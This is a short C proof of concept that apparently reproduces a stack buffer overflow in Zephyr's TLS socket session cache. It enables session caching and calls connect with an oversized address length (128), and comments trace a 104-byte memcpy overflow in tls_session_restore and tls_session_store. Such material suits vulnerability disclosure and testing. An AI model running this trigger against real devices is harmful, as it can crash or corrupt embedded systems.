/*
 * Some CONFIG conditions
 *
 *   CONFIG_NET_IPV6=y
 *   CONFIG_NET_SOCKETS_TLS=y
 *   CONFIG_NET_SOCKETS_TLS_MAX_CLIENT_SESSION_COUNT > 0
 */
#include <zephyr/net/socket.h>
#include <zephyr/net/tls_credentials.h>

#define SERVER_ADDR "2001:db8::1"
#define SERVER_PORT 4433
#define CA_TAG      1

void tls_connect_demo(void)
{
	int sock;
	int ret;
	struct net_sockaddr_in6 server = {
		.sin6_family = NET_AF_INET6,
		.sin6_port = net_htons(SERVER_PORT),
	};
	sec_tag_t tags[] = {CA_TAG};
	int cache = ZSOCK_TLS_SESSION_CACHE_ENABLED;
	net_addr_pton(NET_AF_INET6, SERVER_ADDR, &server.sin6_addr);

	sock = zsock_socket(NET_AF_INET6, NET_SOCK_STREAM, NET_IPPROTO_TLS_1_2);

	zsock_setsockopt(sock, ZSOCK_SOL_TLS, ZSOCK_TLS_SEC_TAG_LIST, tags, sizeof(tags));

	/* Arm the vulnerable path: session cache causes tls_session_restore()
	 * and tls_session_store() to be invoked on every connect(). */
	zsock_setsockopt(sock, ZSOCK_SOL_TLS, ZSOCK_TLS_SESSION_CACHE, &cache, sizeof(cache));

	/*
	 * Call chain on this connect():
	 *
	 *   connect(sock, &server, 128)                     <-- addrlen = 128
	 *     ztls_connect_ctx(ctx, addr, addrlen=128)
	 *       zsock_connect(...)                          <-- underlying TCP connect (validates addrlen >= sizeof(net_sockaddr_in6))
	 *       tls_session_restore(ctx, addr, addrlen=128)
	 *
	 *           struct net_sockaddr peer_addr = { 0 };  <-- 24 bytes on stack
	 *           memcpy(&peer_addr, addr, addrlen);      <-- writes 128 bytes → 104-byte overflow
	 *
	 *       tls_mbedtls_handshake(...)
	 *       tls_session_store(ctx, addr, addrlen=128)    <-- same overflow again
	 */
	ret = zsock_connect(sock, (struct sockaddr *)&server, 128);

	zsock_close(sock);
}